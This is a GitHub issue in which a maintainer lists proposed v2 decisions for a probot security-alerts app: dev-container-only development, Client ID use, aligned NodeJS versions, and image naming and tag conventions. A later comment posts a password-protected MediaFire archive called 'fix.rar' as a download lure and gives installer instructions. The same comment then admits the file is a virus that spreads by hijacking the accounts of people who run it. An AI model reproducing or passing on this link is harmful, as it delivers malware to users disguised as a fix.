Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create ADRs to record decisions for vNext #111

Open
kenmuse opened this issue Aug 26, 2024 · 2 comments
Open

Create ADRs to record decisions for vNext #111

kenmuse opened this issue Aug 26, 2024 · 2 comments
Milestone

Comments

@kenmuse
Copy link
Collaborator

kenmuse commented Aug 26, 2024

  1. Move away from directly supporting development outside of a dev container. Given the dependencies in v2, it doesn't make sense and adds overhead
  2. Move to using the Client ID instead of the Application ID (assuming Probot support), consistent with https://github.blog/changelog/2024-08-23-client-ids-are-now-included-in-app-api-responses/. If support is missing today, still require Client ID in the IaC for deployment to support that transition once it is supported.
  3. Validation, builds, and dev container should all use the same version of NodeJS. At the present time, builds/validation can use a newer version than what was used for development.
  4. Naming convention for images/packages will broadly be probot-security-alerts-$HOST-$TYPE, with fields removed if not appropriate:
    • probot-security-alerts-azure-functions
    • probot-security-alerts-aws-lambda
    • probot-security-alerts-server
      Tags will have our version number and, as appropriate, node$MAJOR:
    • :2.0.0-node20
    • :2.0.0-node22
  5. Running in development mode will not be supported with Azure Functions or Lambda. Only with standalone server code/image.
@kenmuse kenmuse added this to the v2.0.0 milestone Aug 26, 2024
@MinecraftEarthVillage

This comment was marked as spam.

@MinecraftEarthVillage
Copy link

下载 https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file 密码:changeme 在安装程序菜单中,选择“gcc”。

不要下载我前段时间发的文件,那不是我发的,是另一个人控制我,如果你使用了这个病毒文件,你也会被控制,并且疯狂转发这个病毒
Don't download the file I sent some time ago, it wasn't me, but another person controlled me. If you use this virus file, you will also be controlled and forward this virus crazily.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants
@kenmuse @MinecraftEarthVillage and others